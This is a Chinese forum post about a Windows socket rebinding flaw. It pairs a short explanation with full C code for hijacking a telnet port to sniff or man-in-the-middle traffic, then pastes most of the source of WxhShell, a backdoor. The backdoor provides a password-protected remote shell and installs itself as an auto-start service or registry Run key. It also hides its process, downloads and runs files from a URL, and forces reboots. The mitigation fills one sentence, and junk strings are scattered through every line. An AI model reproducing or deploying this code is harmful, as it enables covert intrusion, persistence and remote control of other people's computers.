社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10939阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dQy K4T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <4582x,G  
+9B .}t#  
  saddr.sin_family = AF_INET; ]l, ,en5V  
KY\=D 2m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !i\ gCLg2_  
+tJ 7ZR%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WF<3 7"A@  
22 feYm|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \q^:$iY~  
;?%_jB$P  
  这意味着什么?意味着可以进行如下的攻击: 4B)%I`  
#Sg"/Cc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Yh; A)N p  
R1(3c*0f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E@4/<;eKK  
.sD=k3d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~nApRC)0  
S1U[{R?,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w[AL'1s]  
]88qjKL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $dG:29w  
U_WO<uhC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IRTD(7"oyp  
wZWAx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;RYIc0%  
DKF '*  
  #include 5<YL^m{/L  
  #include tTWEhHQ`  
  #include 'UM *7  
  #include    d{Owz&PL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A# Y:VavQ?  
  int main() Os KtxtLO  
  { <LN7+7}  
  WORD wVersionRequested; %*#+(A"V  
  DWORD ret; `@#rAW D  
  WSADATA wsaData; b7B|$T,  
  BOOL val; nlA:C>=  
  SOCKADDR_IN saddr; (p<pF].  
  SOCKADDR_IN scaddr; }b/P\1#z  
  int err; Nnq1&j"m  
  SOCKET s; iUk#hLLC  
  SOCKET sc; (%mV,2|:20  
  int caddsize; Z58{YCY  
  HANDLE mt; Pb sxjP  
  DWORD tid;   n]i#&[*A(  
  wVersionRequested = MAKEWORD( 2, 2 ); mi[8O$^iJ  
  err = WSAStartup( wVersionRequested, &wsaData ); !s:e  
  if ( err != 0 ) { 'xEK0~awD  
  printf("error!WSAStartup failed!\n"); Ih OAMH1  
  return -1; ij;P5OA  
  } 8|zOgn{  
  saddr.sin_family = AF_INET; c3r`T{Kf  
   AREjS $  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s;$f6X  
` 46z D ?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +wf9!_'  
  saddr.sin_port = htons(23); 'gHg&E9E&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xj~%kPe  
  { ~S\> F\v6'  
  printf("error!socket failed!\n"); ;#:AM;  
  return -1; -& =dl_m  
  } @w`wJ*I4,  
  val = TRUE; _*MK"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EX#AJ>?V(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]Y!x7  
  { eze%RjO}  
  printf("error!setsockopt failed!\n"); 2=/-,kOL_  
  return -1; zTc*1(^  
  } Qj*.Z4ue  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xF@&wg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jFUpf.v2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MpBdke$  
>##Z}auY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D:/q<<|  
  { w)`XM  
  ret=GetLastError(); 5 7-Hx;  
  printf("error!bind failed!\n"); *l=(?Pe<  
  return -1; Eku  9u  
  } RB|i<`Z  
  listen(s,2); 8g Z)c\  
  while(1) ,[)l>!0\H  
  { Ka_;~LS>(  
  caddsize = sizeof(scaddr); @&Bh!_TWc  
  //接受连接请求 ^\&FowpP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gu+zfvkcY  
  if(sc!=INVALID_SOCKET) I]E 3&gnC  
  { o]RZd--c<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {/H<_  
  if(mt==NULL) Gx6%Z$2n  
  { ~UZ3 lN\E  
  printf("Thread Creat Failed!\n"); =/`]lY&  
  break; "r* `*1  
  } F"UI=7:o  
  } X-(4/T+v  
  CloseHandle(mt); D>-r `  
  } 9)NKI02M|  
  closesocket(s); %,~?;JAj  
  WSACleanup(); N2"B\  
  return 0; &Jc atI  
  }   !ltq@8#_|  
  DWORD WINAPI ClientThread(LPVOID lpParam) "ayV8{m^3  
  { N+@ Ff3M  
  SOCKET ss = (SOCKET)lpParam; }Sbk qd5  
  SOCKET sc; ,(pp+hNq  
  unsigned char buf[4096]; -v.\W y~\  
  SOCKADDR_IN saddr; $`55 E(  
  long num; _p*8ke  
  DWORD val; 6{Q-]LOc[.  
  DWORD ret; [&PF ;)i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kM{8zpn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bXOKC  
  saddr.sin_family = AF_INET; dpw-a4o}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ; Byt'S  
  saddr.sin_port = htons(23); FV/t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) & UOxS W  
  { DZtpY {=Z  
  printf("error!socket failed!\n"); >Vjn]V5y  
  return -1; !@F {FR  
  } f|FS%]fCxk  
  val = 100; t4[q :[1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HyVV,q^E  
  { ws+'*7  
  ret = GetLastError(); ^`'\eEa  
  return -1;  ;Pt8\X  
  } /HpM17   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +tT"  
  { } &B6  
  ret = GetLastError(); ypx~WXFK  
  return -1; W.MZN4=  
  } _huJ*W7lR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wW1VOj=6V"  
  { {zvaZY|K"  
  printf("error!socket connect failed!\n"); m^}|LB:5  
  closesocket(sc); Cl<!S`  
  closesocket(ss); P:4"~ ]}  
  return -1; dAx ? ,  
  } i[IFD]Xy!j  
  while(1) C$TU TS  
  { ou<3}g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XGR2L DR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s@@Km1w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A-T-4I  
  num = recv(ss,buf,4096,0); _&hM6N  
  if(num>0) mi7?t/D1Z  
  send(sc,buf,num,0); 2c 0;P #ol  
  else if(num==0) 5MaN {*)l  
  break; V;xPZ2C;  
  num = recv(sc,buf,4096,0); J W@6m  
  if(num>0) Wvf>5g)?  
  send(ss,buf,num,0); gZ$ 8Y7  
  else if(num==0) ~3?-l/$  
  break; V%r`v%ktF  
  } !q\=e@j-i  
  closesocket(ss); S F*C'  
  closesocket(sc); <v|"eq}  
  return 0 ; ,bl }@0A  
  } ]yf?i350  
kk-<+R2  
RTcxZ/\" #  
========================================================== E=ijt3  
| 6JKB'  
下边附上一个代码,,WXhSHELL 6+IhI?lI=  
_w4G|j$C  
========================================================== @/.# /  
["EXSptB  
#include "stdafx.h" 7sxX?u  
'Z4}O_5_  
#include <stdio.h> G|rE\h 2w  
#include <string.h> :@[\(:  
#include <windows.h> E{u6<B*  
#include <winsock2.h> z}!g2d  
#include <winsvc.h> pD%(Y^h?  
#include <urlmon.h> O D}RnKL  
~~OFymQ%?q  
#pragma comment (lib, "Ws2_32.lib") **hQb$  
#pragma comment (lib, "urlmon.lib") uGMzU&+  
+M0pmK!  
#define MAX_USER   100 // 最大客户端连接数 ca_mift  
#define BUF_SOCK   200 // sock buffer "CJ~BJI%  
#define KEY_BUFF   255 // 输入 buffer _Hv+2E[4Z  
pXSShU#  
#define REBOOT     0   // 重启 4=([v;fc  
#define SHUTDOWN   1   // 关机 v.-DXQq  
~Kw#^.$3T  
#define DEF_PORT   5000 // 监听端口 ~V8z%s@  
aZ4EcQ@-$]  
#define REG_LEN     16   // 注册表键长度 +)sX8zb*gY  
#define SVC_LEN     80   // NT服务名长度 lA5Dag'  
n^4R]9U  
// 从dll定义API 2CzhaO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;|5-{+2U%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $9,&BW_*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  LgNIb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &W@2n&U.q  
^z{szy?Fg  
// wxhshell配置信息 z$%twBg}#  
struct WSCFG { eIkKsgr>  
  int ws_port;         // 监听端口 Food<(!.>  
  char ws_passstr[REG_LEN]; // 口令 Y~I<Locv  
  int ws_autoins;       // 安装标记, 1=yes 0=no D!rPF)K )  
  char ws_regname[REG_LEN]; // 注册表键名 7&ED>Bk  
  char ws_svcname[REG_LEN]; // 服务名 @(,1}3s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !{lH*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XDemdMy$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z10Vx2B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k7CKl;Fck  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ' P?h?w^T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 faQmkO  
!RI _Uph  
}; |3'  
7Z< ~{eD,  
// default Wxhshell configuration FDz`U:8  
struct WSCFG wscfg={DEF_PORT, HT;^u"a~  
    "xuhuanlingzhe", ]3_b3@k  
    1, ,;`f* #  
    "Wxhshell", Tlw'05\{J  
    "Wxhshell", 7Z6=e6/\  
            "WxhShell Service", ,|]J aZq  
    "Wrsky Windows CmdShell Service", ~#pATPW@(  
    "Please Input Your Password: ", FJ;I1~??  
  1, YaC%69C'  
  "http://www.wrsky.com/wxhshell.exe", FH~:&;  
  "Wxhshell.exe" !T`oHs  
    }; dJ"M#X!Zu  
'#'noB;,  
// 消息定义模块 4V JUu`[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3Z b]@n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dvB=Zk]m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  /|0-O''  
char *msg_ws_ext="\n\rExit."; BX >L7n  
char *msg_ws_end="\n\rQuit."; sey,J5?  
char *msg_ws_boot="\n\rReboot..."; \vA*dQ-  
char *msg_ws_poff="\n\rShutdown..."; hYW9a`Ht/  
char *msg_ws_down="\n\rSave to "; }|DspO  
1t  R^  
char *msg_ws_err="\n\rErr!"; !"L.gu-'  
char *msg_ws_ok="\n\rOK!"; m{/7)2.  
Hb)FeGsd).  
char ExeFile[MAX_PATH]; $h#sb4ek  
int nUser = 0; SI}s  
HANDLE handles[MAX_USER]; ;k<dp7^  
int OsIsNt; bKQho31a'  
M et]|&  
SERVICE_STATUS       serviceStatus;  1MN!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n#(pT3&  
){;XI2  
// 函数声明 b,xZY1a  
int Install(void); Xh9QfT,  
int Uninstall(void); zPby+BP  
int DownloadFile(char *sURL, SOCKET wsh); n:5M E*  
int Boot(int flag); 4zoQe>v~  
void HideProc(void); '2(m%X\6  
int GetOsVer(void); HlGSt$woX  
int Wxhshell(SOCKET wsl); +,76|oMsQ%  
void TalkWithClient(void *cs); `b?uQ\#-M  
int CmdShell(SOCKET sock); 7UfNz60+~  
int StartFromService(void); ZVjB$-do  
int StartWxhshell(LPSTR lpCmdLine); W XQ@kQD  
X6HaC+P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 02-ql F@i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MEDh  
/ F0q8j0  
// 数据结构和表定义 ^""edCs  
SERVICE_TABLE_ENTRY DispatchTable[] = M+/G>U  
{ Vj*-E  
{wscfg.ws_svcname, NTServiceMain}, ^CkMk 1  
{NULL, NULL} H1bR+2s  
}; I3t5S;_8  
#D`@G8~(  
// 自我安装 XM$ ~HG  
int Install(void) gmGK3am  
{ $Z]&3VxxY  
  char svExeFile[MAX_PATH]; "=h1gql'  
  HKEY key; xcB\Y:   
  strcpy(svExeFile,ExeFile); vSgT36ZF  
<Ky-3:pxeM  
// 如果是win9x系统,修改注册表设为自启动 WZ CI*'  
if(!OsIsNt) { /_C2O"h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =nEP:7~{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4E$MhP  
  RegCloseKey(key); 98[uRywI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B~Sj#(WEa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .~]|gg~  
  RegCloseKey(key); ]eL# bJ  
  return 0; RTOA'|[0M  
    } ?UXF z'  
  } ":!$Jnj,  
} :#rP$LSYC  
else { ZEqW*piI  
]M?i:A$B  
// 如果是NT以上系统,安装为系统服务 yM_/_V|G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A}9Z%U  
if (schSCManager!=0) f}:C~L!  
{ a'J0}j!  
  SC_HANDLE schService = CreateService 78& |^sq  
  ( "5hk%T '  
  schSCManager, U&^q#['  
  wscfg.ws_svcname, -Jd|H*wWo  
  wscfg.ws_svcdisp, )qWwh)\;!  
  SERVICE_ALL_ACCESS, n:@!vV   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vW+6_41ZM  
  SERVICE_AUTO_START, \""^'pP@  
  SERVICE_ERROR_NORMAL, ;:;E|{e  
  svExeFile, UK=ELvt]  
  NULL, y=3 dGOFB  
  NULL, 1/DtF  
  NULL, &.A_d+K&  
  NULL, wi2`5G6|z  
  NULL O. * 0;5  
  ); J%&LQ9  
  if (schService!=0) SuE~Wb 5&  
  { "zEl2Xn28_  
  CloseServiceHandle(schService); VPMu)1={:p  
  CloseServiceHandle(schSCManager); q<YM,%mgj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B%F]K<  
  strcat(svExeFile,wscfg.ws_svcname); bLc5$U$!I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9CD ei~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I Xc `Ec  
  RegCloseKey(key); k/K)nH@)  
  return 0; RXgb/VR  
    } 'HA{6v,y  
  } #6 M] tr  
  CloseServiceHandle(schSCManager); 5y#,z`S  
} 8v$q+Wic  
} E0Wc8m"  
o[C^z7WG0  
return 1; r%,?uim#  
} N ,~O+  
rOJ>lPs  
// 自我卸载 Y=S0|!u  
int Uninstall(void) ]H1mj#EWU  
{ #xI g(nG  
  HKEY key; >AJ/!{jD*  
QkrQM&Im  
if(!OsIsNt) { 8P n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +B ?qx Q  
  RegDeleteValue(key,wscfg.ws_regname); is.t,&H4P]  
  RegCloseKey(key); =EJ&=t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]7HR U6$  
  RegDeleteValue(key,wscfg.ws_regname); pbMANZU[  
  RegCloseKey(key); (,Y[2_Zv  
  return 0; -&/?&{Q0  
  } (i&+=+"wn  
} "x,lL  
} 8ro`lX*F@2  
else { =z1Lim-  
~ #jQFyOh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H%_^Gy8f  
if (schSCManager!=0) q"d9C)Md  
{ vs@d)$N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ETDWG_H |  
  if (schService!=0) fNN l1Vls  
  { 6H#: rM  
  if(DeleteService(schService)!=0) { wE .H:q4&  
  CloseServiceHandle(schService); Ev fvU:z  
  CloseServiceHandle(schSCManager); HE}0_x.  
  return 0; mxlh\'b  
  } Xaz "!  
  CloseServiceHandle(schService); [4Q;(67  
  } x'|ty[87  
  CloseServiceHandle(schSCManager); |<W$rzM  
} @Q1!xA^S  
} 8JLf @C:  
J0sD?V|{1~  
return 1; -P]O t>%S  
} i/>k_mG$d  
ing'' _  
// 从指定url下载文件 o"z()w~  
int DownloadFile(char *sURL, SOCKET wsh) u>>|ZPe  
{ 3vrVX<_  
  HRESULT hr; **q8vhJM  
char seps[]= "/"; @?B+|*cm  
char *token; [YvS#M3T  
char *file; M9"Bx/  
char myURL[MAX_PATH]; U9 iI2$  
char myFILE[MAX_PATH]; H,> }t S  
d) -(C1f  
strcpy(myURL,sURL); jcCAXk055  
  token=strtok(myURL,seps); lm`*x=x  
  while(token!=NULL) 54 $^ldD  
  { "P! .5B  
    file=token; ,%pCcM)  
  token=strtok(NULL,seps); 7D'\z IW  
  } BMp'.9Qgm  
yfl?\X{  
GetCurrentDirectory(MAX_PATH,myFILE); #Xg;E3BM  
strcat(myFILE, "\\"); yP"2.9\erH  
strcat(myFILE, file); F^l1WX6  
  send(wsh,myFILE,strlen(myFILE),0); gT}H B.  
send(wsh,"...",3,0); 1AJ6NBC&c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vgm*5a6t  
  if(hr==S_OK) XIcUoKg^  
return 0; ^".OMS"!  
else m?S;s ew@5  
return 1; yP58H{hQM8  
7?dWAUF  
} O-, "/Z  
* + T(i  
// 系统电源模块 ! ._q8q\  
int Boot(int flag) 0["93n}r  
{ ,{*g Q%7  
  HANDLE hToken; %A zy#m  
  TOKEN_PRIVILEGES tkp; Ip8ml0oG  
]J Yz(m[   
  if(OsIsNt) { +C% 6jGGh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & bTCTDZh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )zL@h  
    tkp.PrivilegeCount = 1; dGZie .Zx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o2fih%p?1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }aWy#Oe  
if(flag==REBOOT) { tLzLO#/n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eRUdPPq_d  
  return 0; <Jgcj 4D  
} YZ~MByu  
else { hBU)gP75  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w=GMQ8  
  return 0;  'z} t= ?  
} 0U=wGI O  
  } gWj-@o\  
  else { O:?3B!wF  
if(flag==REBOOT) { ;yNc 7Vl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $PJ==N  
  return 0; .IW`?9O$E  
} N R c4*zQJ  
else { }Uy QGRZ=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ` GF w?G  
  return 0; P<pv@ l9)  
} 8maWF.xq  
} x/,;:S  
12 p`ZD=  
return 1; <rzP  
} dN2JOyS  
NK|UeL7ght  
// win9x进程隐藏模块 GxdAOiq;  
void HideProc(void) &nEL}GM)E  
{ |k.'w<6mb9  
# xtH6\X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xmg3,bO  
  if ( hKernel != NULL ) eiK_JPFA-  
  { *PF<J/Pr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .n<vhLDQn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $zP5Hzx  
    FreeLibrary(hKernel); )Do 0  
  } Pb&tWv\ql  
bq/Aopfr  
return; kj6:P$tH  
} "2mPWRItO  
y% bIO6u:  
// 获取操作系统版本 4c5BlD  
int GetOsVer(void) %IsodtkDu  
{ f.w",S^  
  OSVERSIONINFO winfo; PK]3uh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +byOThuE  
  GetVersionEx(&winfo); wOAR NrPx2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o/N!l]r  
  return 1; h'*v$lt  
  else gPd K%"B@  
  return 0; Mj@2=c  
} 7 $y;-[E[  
4en3yA0.w  
// 客户端句柄模块 Gxw1P@<F:  
int Wxhshell(SOCKET wsl) =RB {.%  
{ n&[CTOV  
  SOCKET wsh; NO!Qo:  
  struct sockaddr_in client; 5cP yi/  
  DWORD myID; P%2v(  
5%}e j)@  
  while(nUser<MAX_USER) ^ oi']O  
{ R'Jrbe|  
  int nSize=sizeof(client); S;4:`?s=i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HLWffO/  
  if(wsh==INVALID_SOCKET) return 1; <Kt_ oxK,  
{SV/AN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z"8lW+r *  
if(handles[nUser]==0) {lf{0c$X.  
  closesocket(wsh); >~o- 6g  
else GK$[!{w;  
  nUser++; TUfj\d,  
  } v0DDim?cc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /p !A:8  
bWTf P8gT  
  return 0; '|[!I!WB`  
} 1_+ h"LE  
NWf=mrS8@$  
// 关闭 socket h%/BZC^L]|  
void CloseIt(SOCKET wsh) Sgi`&;PF  
{ D?n6h\h\$%  
closesocket(wsh); <K0epED  
nUser--; ?c#s}IH  
ExitThread(0); -Q20af-  
} 1'&.6{)P  
Y5aG^wE[:  
// 客户端请求句柄 JI>Y?1i0O  
void TalkWithClient(void *cs) $cSUB  
{ }a;xs};X;  
B%tF|KKj  
  SOCKET wsh=(SOCKET)cs; $7q3[skH  
  char pwd[SVC_LEN]; 4aHogheg  
  char cmd[KEY_BUFF]; neFwxS?  
char chr[1]; +4 k=Y  
int i,j; 'D21A8*N  
{;{U@Z  
  while (nUser < MAX_USER) { rI>x'0Go*  
YY;<y%:8Z  
if(wscfg.ws_passstr) { N`W[Q>n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kyHli~Nr"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rzd`MIHDp  
  //ZeroMemory(pwd,KEY_BUFF); mi=mwN%UB  
      i=0; NzT &K7v  
  while(i<SVC_LEN) { 9tHK_),9  
^`cv6;)  
  // 设置超时 <D a-rv8  
  fd_set FdRead; 6=f)3!=  
  struct timeval TimeOut; cO J`^^P  
  FD_ZERO(&FdRead); cQEUHhRg!  
  FD_SET(wsh,&FdRead); Xl4}S"a  
  TimeOut.tv_sec=8; }y6|H,t9  
  TimeOut.tv_usec=0; fOi Rstci  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S)U*1t7[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c,@Vz 7c  
CzBYH   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y-hTTd"{  
  pwd=chr[0]; h`6 (Oo|  
  if(chr[0]==0xd || chr[0]==0xa) { H_?rbz}o  
  pwd=0; b<tV>d"Fv  
  break; j:%,lcF  
  } s,Gl{  
  i++; =F@ +~)_  
    } T1C_L?L  
Zv@qdY<:  
  // 如果是非法用户,关闭 socket E ASnh   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ll|-CY $  
} 3H,x4L5j  
lrE"phYk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RL}?.'!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wa@Rlzij>  
!Q>xVlPVu  
while(1) { { { \oC$  
KkUK" Vc  
  ZeroMemory(cmd,KEY_BUFF); KPToyCyR1  
A}lxJ5h0  
      // 自动支持客户端 telnet标准   % mQ&pk  
  j=0; as@8L|i*  
  while(j<KEY_BUFF) { qxI $F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?-j/X6(\(  
  cmd[j]=chr[0]; 3S3 a|_+%  
  if(chr[0]==0xa || chr[0]==0xd) { +<Gp >c  
  cmd[j]=0; MnD}i&k[  
  break; <{W{ Y\_A>  
  } $z_yx `5  
  j++; :aOR@])>o  
    } ^=x/:0  
;n't:yQW  
  // 下载文件 f9#zV2ke]  
  if(strstr(cmd,"http://")) { ~lV#- m*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wXUR9H|0(  
  if(DownloadFile(cmd,wsh)) o<5`uV!f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [3X\"x5@V  
  else }F]Z1('  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); at?I @By  
  } I7_lKr3  
  else { 48 -j  
IT NFmD  
    switch(cmd[0]) { OP\jO DX  
  \lg ^rfj  
  // 帮助 7I ~O| Mw  
  case '?': { $ 5"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); suQTi'K1  
    break; $R'?OK(`  
  } -1 dD~S$  
  // 安装 >T;!Z5L1  
  case 'i': { $T K*w8@:  
    if(Install()) z6w'XA1_+t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bhD-;Y!6;  
    else !Q"L)%)'A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Y524   
    break; }aOqoi7w  
    } 8Ay7I  
  // 卸载 \HB fM&  
  case 'r': { F%V|Aa  
    if(Uninstall()) Il&F C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a8TtItN  
    else &S(>L[)9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 62ru%<x=  
    break; IN/$b^Um  
    } 4Wgzp51Aq!  
  // 显示 wxhshell 所在路径 9"^ib9M  
  case 'p': { ,<Cl^ ^a,  
    char svExeFile[MAX_PATH]; ~+{*KPiD  
    strcpy(svExeFile,"\n\r"); F9LKO3Rh#u  
      strcat(svExeFile,ExeFile); =+_nVO*  
        send(wsh,svExeFile,strlen(svExeFile),0); bqH [-mu6  
    break; < h#7;o  
    } HsYzIQLL  
  // 重启 |"K%Tvxe  
  case 'b': { Do(G;D`h+_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '|gsmO  
    if(Boot(REBOOT)) 7l7VT?<:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &/[MWQ  
    else { 29grbP  
    closesocket(wsh); ~U w<e~  
